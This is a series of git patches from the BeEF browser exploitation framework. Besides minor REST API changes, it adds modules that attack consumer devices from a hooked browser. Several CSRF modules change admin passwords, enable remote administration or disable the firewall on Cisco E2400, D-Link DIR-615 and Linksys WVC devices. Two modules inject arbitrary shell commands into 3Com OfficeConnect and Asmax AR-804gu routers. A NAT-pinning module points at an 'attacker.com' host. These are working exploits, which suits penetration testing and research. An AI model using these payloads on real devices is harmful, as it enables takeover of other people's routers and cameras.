89cb3830b..9f018ac97 100644 --- a/core/main/rest/handlers/modules.rb +++ b/core/main/rest/handlers/modules.rb @@ -181,7 +181,7 @@ module BeEF #exec_results = BeEF::Module.execute(modk, params[:session], mod_params) #exec_results != nil ? '{"success":"true","command_id":"'+exec_results.to_s+'"}' : '{"success":"false"}' rescue Exception => e - print_error "Invalid JSON input for module '#{params[:mod_id]}'" + print_error "Invalid JSON input passed to endpoint /api/modules/multi" error 400 # Bad Request end end From 4d262d6d192beea2a247ff61bd5e39a4d29e87c1 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 30 Jun 2012 19:00:42 +0100 Subject: [PATCH 046/225] Issue #556 : added json response to RESTful endpoint /api/modules/multi --- core/main/rest/handlers/modules.rb | 18 +++++++++++------- 1 file changed, 11 insertions(+), 7 deletions(-) diff --git a/core/main/rest/handlers/modules.rb b/core/main/rest/handlers/modules.rb index 9f018ac97..158a9209f 100644 --- a/core/main/rest/handlers/modules.rb +++ b/core/main/rest/handlers/modules.rb @@ -143,6 +143,7 @@ module BeEF end #@note Fire a new command module to multiple hooked browsers. + # Returns the command IDs of the launched modules, or 0 if firing got issues. # POST request body example (for modules that don't need parameters, just remove "mod_params") # { # "mod_id":1, @@ -151,6 +152,7 @@ module BeEF # }, # "hb_ids":[1,2] # } + # response example: {"1":16,"2":17} # curl example (alert module with custom text, 2 hooked browsers)): #curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"mucci?"},"hb_ids":[1,2]}' #-X POST http://127.0.0.1:3000/api/modules/multi?token=2316d82702b83a293e2d46a0886a003a6be0a633 @@ -170,16 +172,18 @@ module BeEF end hb_ids = body["hb_ids"] + results = Hash.new hb_ids.each do |hb_id| hb = BeEF::Core::Models::HookedBrowser.first(:id => hb_id) - next if hb == nil - exec_results = BeEF::Module.execute(modk, hb.session, mod_params) - #todo add exec results to a json for the final response + if hb == nil + results[hb_id] = 0 + next + else + cmd_id = BeEF::Module.execute(modk, hb.session, mod_params) + results[hb_id] = cmd_id + end end - - #todo return a json with the execution result for every module - #exec_results = BeEF::Module.execute(modk, params[:session], mod_params) - #exec_results != nil ? '{"success":"true","command_id":"'+exec_results.to_s+'"}' : '{"success":"false"}' + results.to_json rescue Exception => e print_error "Invalid JSON input passed to endpoint /api/modules/multi" error 400 # Bad Request From 9d2022531c69b33f0a7e12ee67c21788d7ae0f7d Mon Sep 17 00:00:00 2001 From: bcoles Date: Sat, 14 Jul 2012 22:44:58 +0930 Subject: [PATCH 047/225] Added Cisco E2400 CSRF router module --- .../router/cisco_e2400_csrf/command.js | 77 +++++++++++++++++++ .../router/cisco_e2400_csrf/config.yaml | 25 ++++++ .../router/cisco_e2400_csrf/module.rb | 29 +++++++ 3 files changed, 131 insertions(+) create mode 100644 modules/exploits/router/cisco_e2400_csrf/command.js create mode 100644 modules/exploits/router/cisco_e2400_csrf/config.yaml create mode 100644 modules/exploits/router/cisco_e2400_csrf/module.rb diff --git a/modules/exploits/router/cisco_e2400_csrf/command.js b/modules/exploits/router/cisco_e2400_csrf/command.js new file mode 100644 index 000000000..e3c548b0e --- /dev/null +++ b/modules/exploits/router/cisco_e2400_csrf/command.js @@ -0,0 +1,77 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var gateway = '<%= @base %>'; + var passwd = '<%= @password %>'; + + var cisco_e2400_iframe1 = beef.dom.createIframeXsrfForm(gateway + "apply.cgi", "POST", + [ + {'type':'hidden', 'name':'submit_button', 'value':'Management'}, + {'type':'hidden', 'name':'change_action', 'value':''}, + {'type':'hidden', 'name':'action', 'value':'Apply'}, + {'type':'hidden', 'name':'PasswdModify', 'value':'0'}, + {'type':'hidden', 'name':'http_enable', 'value':'1'}, + {'type':'hidden', 'name':'https_enable', 'value':'1'}, + {'type':'hidden', 'name':'ctm404_enable', 'value':''}, + {'type':'hidden', 'name':'remote_mgt_https', 'value':'1'}, + {'type':'hidden', 'name':'wait_time', 'value':'4'}, + {'type':'hidden', 'name':'need_reboot', 'value':'0'}, + {'type':'hidden', 'name':'http_passwd', 'value':passwd}, + {'type':'hidden', 'name':'http_passwdConfirm','value':passwd}, + {'type':'hidden', 'name':'_http_enable', 'value':'1'}, + {'type':'hidden', 'name':'_https_enable', 'value':'1'}, + {'type':'hidden', 'name':'web_wl_filter', 'value':'0'}, + {'type':'hidden', 'name':'remote_management', 'value':'1'}, + {'type':'hidden', 'name':'_remote_mgt_https', 'value':'1'}, + {'type':'hidden', 'name':'remote_upgrade', 'value':'1'}, + {'type':'hidden', 'name':'remote_ip_any', 'value':'1'}, + {'type':'hidden', 'name':'http_wanport', 'value':'8080'}, + {'type':'hidden', 'name':'nf_alg_sip', 'value':'0'}, + {'type':'hidden', 'name':'ctf_disable', 'value':'0'}, + {'type':'hidden', 'name':'upnp_enable', 'value':'1'}, + {'type':'hidden', 'name':'upnp_config', 'value':'0'}, + {'type':'hidden', 'name':'upnp_internet_dis', 'value':'0'}, + ]); + + var cisco_e2400_iframe2 = beef.dom.createIframeXsrfForm(gateway + "apply.cgi", "POST", + [ + {'type':'hidden', 'name':'submit_button', 'value':'Firewall'}, + {'type':'hidden', 'name':'change_action', 'value':''}, + {'type':'hidden', 'name':'action', 'value':'Apply'}, + {'type':'hidden', 'name':'block_wan', 'value':'0'}, + {'type':'hidden', 'name':'block_loopback', 'value':'0'}, + {'type':'hidden', 'name':'multicast_pass', 'value':'1'}, + {'type':'hidden', 'name':'ipv6_multicast_pass', 'value':'1'}, + {'type':'hidden', 'name':'ident_pass', 'value':'0'}, + {'type':'hidden', 'name':'block_cookie', 'value':'0'}, + {'type':'hidden', 'name':'block_java', 'value':'0'}, + {'type':'hidden', 'name':'block_proxy', 'value':'0'}, + {'type':'hidden', 'name':'block_activex', 'value':'0'}, + {'type':'hidden', 'name':'wait_time', 'value':'3'}, + {'type':'hidden', 'name':'ipv6_filter', 'value':'off'}, + {'type':'hidden', 'name':'filter', 'value':'off'} + ]); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + + cleanup = function() { + document.body.removeChild(cisco_e2400_iframe1); + document.body.removeChild(cisco_e2400_iframe2); + } + setTimeout("cleanup()", 15000); + +}); + diff --git a/modules/exploits/router/cisco_e2400_csrf/config.yaml b/modules/exploits/router/cisco_e2400_csrf/config.yaml new file mode 100644 index 000000000..2b3e0c519 --- /dev/null +++ b/modules/exploits/router/cisco_e2400_csrf/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + cisco_e2400_csrf: + enable: true + category: ["Exploits", "Router"] + name: "Cisco E2400 CSRF" + description: "Attempts to enable remote administration on HTTPS port 443, disable the firewall, and change the password on a Cisco/Linksys E2400 router." + authors: ["bcoles", "n0x00"] + target: + working: ["ALL"] diff --git a/modules/exploits/router/cisco_e2400_csrf/module.rb b/modules/exploits/router/cisco_e2400_csrf/module.rb new file mode 100644 index 000000000..0af343362 --- /dev/null +++ b/modules/exploits/router/cisco_e2400_csrf/module.rb @@ -0,0 +1,29 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Cisco_e2400_csrf < BeEF::Core::Command + + def self.options + return [ + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.100.2/'}, + {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end From c380ca75edba73bda207eed349348d6f5e81aa34 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 15 Jul 2012 00:16:11 +0930 Subject: [PATCH 048/225] Added 3COM OfficeConnect Command Execution module --- .../3com_officeconnect_cmd_exec/command.js | 35 +++++++++++++++++++ .../3com_officeconnect_cmd_exec/config.yaml | 25 +++++++++++++ .../3com_officeconnect_cmd_exec/module.rb | 29 +++++++++++++++ 3 files changed, 89 insertions(+) create mode 100644 modules/exploits/router/3com_officeconnect_cmd_exec/command.js create mode 100644 modules/exploits/router/3com_officeconnect_cmd_exec/config.yaml create mode 100644 modules/exploits/router/3com_officeconnect_cmd_exec/module.rb diff --git a/modules/exploits/router/3com_officeconnect_cmd_exec/command.js b/modules/exploits/router/3com_officeconnect_cmd_exec/command.js new file mode 100644 index 000000000..b8e6c556a --- /dev/null +++ b/modules/exploits/router/3com_officeconnect_cmd_exec/command.js @@ -0,0 +1,35 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var gateway = '<%= @base %>'; + var path = 'utility.cgi'; + var cmd = '<%= @cmd %>'; + + var com_officeconnect_iframe = beef.dom.createIframeXsrfForm(gateway + path, "GET", [ + {'type':'hidden', 'name':'testType', 'value':'1'}, + {'type':'hidden', 'name':'IP', 'value':'||'+cmd} + ]); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + + cleanup = function() { + document.body.removeChild(com_officeconnect_iframe); + } + setTimeout("cleanup()", 15000); + +}); + diff --git a/modules/exploits/router/3com_officeconnect_cmd_exec/config.yaml b/modules/exploits/router/3com_officeconnect_cmd_exec/config.yaml new file mode 100644 index 000000000..157669422 --- /dev/null +++ b/modules/exploits/router/3com_officeconnect_cmd_exec/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + com_officeconnect_cmd_exec: + enable: true + category: ["Exploits", "Router"] + name: "3COM OfficeConnect Command Execution" + description: "Attempts to execute arbitrary commands on a 3Com OfficeConnect ADSL Wireless 11g Firewall Router (OSVDB# 66232).
For more information see, http://www.andreafabrizi.it/?exploits:3com_officeconnect" + authors: ["bcoles", "Andrea Fabrizi"] + target: + working: ["ALL"] diff --git a/modules/exploits/router/3com_officeconnect_cmd_exec/module.rb b/modules/exploits/router/3com_officeconnect_cmd_exec/module.rb new file mode 100644 index 000000000..675efdd36 --- /dev/null +++ b/modules/exploits/router/3com_officeconnect_cmd_exec/module.rb @@ -0,0 +1,29 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Com_officeconnect_cmd_exec < BeEF::Core::Command + + def self.options + return [ + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/'}, + {'name' => 'cmd', 'ui_label' => 'Command', 'value' => 'reboot'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end From d8adf26827cc7751a5fd77425ab0e1dcdae84040 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 15 Jul 2012 00:49:19 +0930 Subject: [PATCH 049/225] Added Asmax AR-804gu Command Execution module --- .../router/asmax_ar804gu_cmd_exec/command.js | 38 +++++++++++++++++++ .../router/asmax_ar804gu_cmd_exec/config.yaml | 25 ++++++++++++ .../router/asmax_ar804gu_cmd_exec/module.rb | 29 ++++++++++++++ 3 files changed, 92 insertions(+) create mode 100644 modules/exploits/router/asmax_ar804gu_cmd_exec/command.js create mode 100644 modules/exploits/router/asmax_ar804gu_cmd_exec/config.yaml create mode 100644 modules/exploits/router/asmax_ar804gu_cmd_exec/module.rb diff --git a/modules/exploits/router/asmax_ar804gu_cmd_exec/command.js b/modules/exploits/router/asmax_ar804gu_cmd_exec/command.js new file mode 100644 index 000000000..4bf78dfec --- /dev/null +++ b/modules/exploits/router/asmax_ar804gu_cmd_exec/command.js @@ -0,0 +1,38 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var gateway = '<%= @base %>'; + var path = 'cgi-bin/script?system%20'; + var cmd = '<%= @cmd %>'; + + var img = new Image(); + img.setAttribute("style","visibility:hidden"); + img.setAttribute("width","0"); + img.setAttribute("height","0"); + img.id = 'asmax_ar804gu'; + img.src = gateway+path+cmd; + document.body.appendChild(img); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + + cleanup = function() { + document.body.removeChild(img); + } + setTimeout("cleanup()", 15000); + +}); + diff --git a/modules/exploits/router/asmax_ar804gu_cmd_exec/config.yaml b/modules/exploits/router/asmax_ar804gu_cmd_exec/config.yaml new file mode 100644 index 000000000..44c2ca602 --- /dev/null +++ b/modules/exploits/router/asmax_ar804gu_cmd_exec/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + asmax_ar804gu_cmd_exec: + enable: true + category: ["Exploits", "Router"] + name: "Asmax AR-804gu Command Execution" + description: "Attempts to execute arbitrary commands on a Asmax AR-804gu (OSVDB# 54895).
For more information see, http://www.securitum.pl/dh/asmax-ar-804-gu-compromise" + authors: ["bcoles", "Michal Sajdak"] + target: + working: ["ALL"] diff --git a/modules/exploits/router/asmax_ar804gu_cmd_exec/module.rb b/modules/exploits/router/asmax_ar804gu_cmd_exec/module.rb new file mode 100644 index 000000000..f330c301c --- /dev/null +++ b/modules/exploits/router/asmax_ar804gu_cmd_exec/module.rb @@ -0,0 +1,29 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Asmax_ar804gu_cmd_exec < BeEF::Core::Command + + def self.options + return [ + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.1.1/'}, + {'name' => 'cmd', 'ui_label' => 'Command', 'value' => 'reboot'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end From 40f71455318c6c0031c118e31cd713eef2363ac1 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 15 Jul 2012 19:01:09 +0930 Subject: [PATCH 050/225] Updated D-Link DIR-615 router module --- .../command.js | 19 ++++++++++--------- .../config.yaml | 4 ++-- .../module.rb | 5 +++-- 3 files changed, 15 insertions(+), 13 deletions(-) rename modules/exploits/router/{dlink_dir_615_wipe_passwd => dlink_dir_615_csrf}/command.js (60%) rename modules/exploits/router/{dlink_dir_615_wipe_passwd => dlink_dir_615_csrf}/config.yaml (81%) rename modules/exploits/router/{dlink_dir_615_wipe_passwd => dlink_dir_615_csrf}/module.rb (83%) diff --git a/modules/exploits/router/dlink_dir_615_wipe_passwd/command.js b/modules/exploits/router/dlink_dir_615_csrf/command.js similarity index 60% rename from modules/exploits/router/dlink_dir_615_wipe_passwd/command.js rename to modules/exploits/router/dlink_dir_615_csrf/command.js index 2dc496f3a..e7cad9472 100644 --- a/modules/exploits/router/dlink_dir_615_wipe_passwd/command.js +++ b/modules/exploits/router/dlink_dir_615_csrf/command.js @@ -15,17 +15,18 @@ // beef.execute(function() { var gateway = '<%= @base %>'; + var passwd = '<%= @password %>'; var dir615_iframe = beef.dom.createIframeXsrfForm(gateway + "tools_admin.php", "POST", - [{'type':'hidden', 'name':'ACTION_POST', 'value':'1'} , - {'type':'hidden', 'name':'apply', 'value':'Save Settings'}, - {'type':'hidden', 'name':'admin_name', 'value':'admin'}, - {'type':'hidden', 'name':'admin_password1', 'value':''}, - {'type':'hidden', 'name':'admin_password2', 'value':''}, - {'type':'hidden', 'name':'rt_enable', 'value':'on'}, - {'type':'hidden', 'name':'rt_enable_h', 'value':'1'}, - {'type':'hidden', 'name':'rt_ipaddr', 'value':'0.0.0.0'}, - {'type':'hidden', 'name':'rt_port', 'value':'8080'} + [{'type':'hidden', 'name':'ACTION_POST', 'value':'1'} , + {'type':'hidden', 'name':'apply', 'value':'Save Settings'}, + {'type':'hidden', 'name':'admin_name', 'value':'admin'}, + {'type':'hidden', 'name':'admin_password1', 'value':passwd}, + {'type':'hidden', 'name':'admin_password2', 'value':passwd}, + {'type':'hidden', 'name':'rt_enable', 'value':'on'}, + {'type':'hidden', 'name':'rt_enable_h', 'value':'1'}, + {'type':'hidden', 'name':'rt_ipaddr', 'value':'0.0.0.0'}, + {'type':'hidden', 'name':'rt_port', 'value':'8080'} ]); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); diff --git a/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml b/modules/exploits/router/dlink_dir_615_csrf/config.yaml similarity index 81% rename from modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml rename to modules/exploits/router/dlink_dir_615_csrf/config.yaml index e1e22073f..7c1ea2e30 100644 --- a/modules/exploits/router/dlink_dir_615_wipe_passwd/config.yaml +++ b/modules/exploits/router/dlink_dir_615_csrf/config.yaml @@ -15,11 +15,11 @@ # beef: module: - dlink_dir_615_wipe_passwd: + dlink_dir_615_csrf: enable: true category: ["Exploits", "Router"] name: "D-Link DIR-615 Password Wipe" - description: "Attempts to wipe the password of the admin user on a D-Link DIR-615 router. Enable also remote administration on 0.0.0.0:8080" + description: "Attempts to enable remote administration on port 8080 and change the admin password on a D-Link DIR-615 router." authors: ["antisnatchor", "n0x00"] target: working: ["ALL"] diff --git a/modules/exploits/router/dlink_dir_615_wipe_passwd/module.rb b/modules/exploits/router/dlink_dir_615_csrf/module.rb similarity index 83% rename from modules/exploits/router/dlink_dir_615_wipe_passwd/module.rb rename to modules/exploits/router/dlink_dir_615_csrf/module.rb index 5d737de2e..f9a62e534 100644 --- a/modules/exploits/router/dlink_dir_615_wipe_passwd/module.rb +++ b/modules/exploits/router/dlink_dir_615_csrf/module.rb @@ -13,11 +13,12 @@ # See the License for the specific language governing permissions and # limitations under the License. # -class Dlink_dir_615_wipe_passwd < BeEF::Core::Command +class Dlink_dir_615_csrf < BeEF::Core::Command def self.options return [ - {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.0.1/'} + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.0.1/'}, + {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} ] end From 7f0026fc794a9bce0c47bf56ffb2e49e244308e0 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 15 Jul 2012 19:18:37 +0930 Subject: [PATCH 051/225] Added Linksys WVC series wireless camera CSRF module --- .../command.js | 44 +++++++++++++++++++ .../config.yaml | 25 +++++++++++ .../module.rb | 29 ++++++++++++ 3 files changed, 98 insertions(+) create mode 100644 modules/exploits/camera/linksys_wvc_wireless_camera_csrf/command.js create mode 100644 modules/exploits/camera/linksys_wvc_wireless_camera_csrf/config.yaml create mode 100644 modules/exploits/camera/linksys_wvc_wireless_camera_csrf/module.rb diff --git a/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/command.js b/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/command.js new file mode 100644 index 000000000..2271f1d33 --- /dev/null +++ b/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/command.js @@ -0,0 +1,44 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + var gateway = '<%= @base %>'; + var path = 'adm/file.cgi'; + var passwd = '<%= @password %>'; + + var linksys_wvc_iframe = beef.dom.createIframeXsrfForm(gateway + path, "POST", + [{'type':'hidden', 'name':'adm', 'value':'admin'}, + {'type':'hidden', 'name':'admpw', 'value':passwd}, + {'type':'hidden', 'name':'admpwv', 'value':passwd}, + {'type':'hidden', 'name':'language', 'value':'1'}, + {'type':'hidden', 'name':'h_usernamelist', 'value':''}, + {'type':'hidden', 'name':'h_language', 'value':'1'}, + {'type':'hidden', 'name':'h_lang_from_mac','value':''}, + {'type':'hidden', 'name':'this_file', 'value':'pass_wd.htm'}, + {'type':'hidden', 'name':'next_file', 'value':'pass_wd.htm'}, + {'type':'hidden', 'name':'todo', 'value':'save'}, + {'type':'hidden', 'name':'video_file', 'value':''}, + {'type':'hidden', 'name':'', 'value':'Submit form'} + ]); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + + cleanup = function() { + document.body.removeChild(linksys_wvc_iframe); + } + setTimeout("cleanup()", 15000); + +}); + diff --git a/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/config.yaml b/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/config.yaml new file mode 100644 index 000000000..2bc3a6bfc --- /dev/null +++ b/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + linksys_wvc_wireless_camera_csrf: + enable: true + category: ["Exploits", "Camera"] + name: "Linksys WVC series CSRF" + description: "Attempts to change the admin password on a Linksys WVCseries wireless camera." + authors: ["bcoles", "n0x00"] + target: + working: ["ALL"] diff --git a/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/module.rb b/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/module.rb new file mode 100644 index 000000000..ffa988308 --- /dev/null +++ b/modules/exploits/camera/linksys_wvc_wireless_camera_csrf/module.rb @@ -0,0 +1,29 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Linksys_wvc_wireless_camera_csrf < BeEF::Core::Command + + def self.options + return [ + {'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.0.101/'}, + {'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end From 6dbf64cfa74e10442e033563a6029f5bae39111d Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sun, 15 Jul 2012 12:57:21 +0100 Subject: [PATCH 052/225] Added bind_socket/unbind_socket to AssetHandler --- core/main/network_stack/assethandler.rb | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/core/main/network_stack/assethandler.rb b/core/main/network_stack/assethandler.rb index 682fb5b14..8801703ee 100644 --- a/core/main/network_stack/assethandler.rb +++ b/core/main/network_stack/assethandler.rb @@ -29,6 +29,7 @@ module Handlers # Starts the AssetHandler instance def initialize @allocations = {} + @sockets = {} @http_server = BeEF::Core::Server.instance @root_dir = File.expand_path('../../../../', __FILE__) end @@ -59,6 +60,29 @@ module Handlers print_info "Url [" + url + "] unmounted" end + # use it like: bind_socket("irc","0.0.0.0",6667) + def bind_socket(name, host, port) + if @sockets[name] != nil + print_error "Thread [#{name}] is already listening on [#{host}:#{port}]." + else + t = Thread.new { + server = TCPServer.new(host,port) + loop do + client = server.accept + client.close + end + } + @sockets[name] = t + print_info "Thread [#{name}] listening on [#{host}:#{port}]." + end + end + + def unbind_socket(name) + t = @sockets[name] + Thread.kill(t) + print_info "Thread [#{name}] killed." + end + # Builds a URL based on the path and extension, if neither are passed a random URL will be generated # @param [String] path URL Path defined by bind() # @param [String] extension Extension defined by bind() From dd43da5e517949437ed7c89a44eadc30f624a821 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sun, 15 Jul 2012 12:58:36 +0100 Subject: [PATCH 053/225] Modified nat_pinning module to bind a socket on pre_send (new bind_socket api call) --- modules/network/nat_pinning_irc/module.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/network/nat_pinning_irc/module.rb b/modules/network/nat_pinning_irc/module.rb index 1bac69acd..7d898bc65 100644 --- a/modules/network/nat_pinning_irc/module.rb +++ b/modules/network/nat_pinning_irc/module.rb @@ -14,7 +14,11 @@ # limitations under the License. # class Irc_nat_pinning < BeEF::Core::Command - + + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket("IRC", "0.0.0.0", 6667) + end + def self.options return [ {'name'=>'connectto', 'ui_label' =>'Connect to','value'=>'http://attacker.com'}, @@ -25,8 +29,11 @@ class Irc_nat_pinning < BeEF::Core::Command def post_execute return if @datastore['result'].nil? - save({'result' => @datastore['result']}) + + #todo antisnatchor: how long should we leave it open? Maybe default timeout of 30 seconds? + #BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket("IRC") + end end From be719843626195cdba8f73cac43a6e2fc85f1704 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sun, 15 Jul 2012 17:26:01 +0100 Subject: [PATCH 054/225] Patched bind_socket: support multiple clients, don't close the client socket --- core/main/network_stack/assethandler.rb | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/core/main/network_stack/assethandler.rb b/core/main/network_stack/assethandler.rb index 8801703ee..52df821bd 100644 --- a/core/main/network_stack/assethandler.rb +++ b/core/main/network_stack/assethandler.rb @@ -68,8 +68,11 @@ module Handlers t = Thread.new { server = TCPServer.new(host,port) loop do - client = server.accept - client.close + Thread.start(server.accept) do |client| + # client.puts "" + # we don't close the client socket + # client.close + end end } @sockets[name] = t From 5a2b29bab46a04c1062119fcff43be416d4fac00 Mon Sep 17 00:00:00 2001 From: bmantra Date: Sun, 15 Jul 2012 20:08:59 +0200 Subject: [PATCH 055/225] changed description and temp disabled the listening socket as it needs some more testing --- modules/network/nat_pinning_irc/config.yaml | 2 +- modules/network/nat_pinning_irc/module.rb | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/network/nat_pinning_irc/config.yaml b/modules/network/nat_pinning_irc/config.yaml index a44e71913..f70ed701f 100644 --- a/modules/network/nat_pinning_irc/config.yaml +++ b/modules/network/nat_pinning_irc/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: "Network" name: "IRC NAT Pinning" - description: "Attempts to open closed ports on statefull firewalls and attempts to create 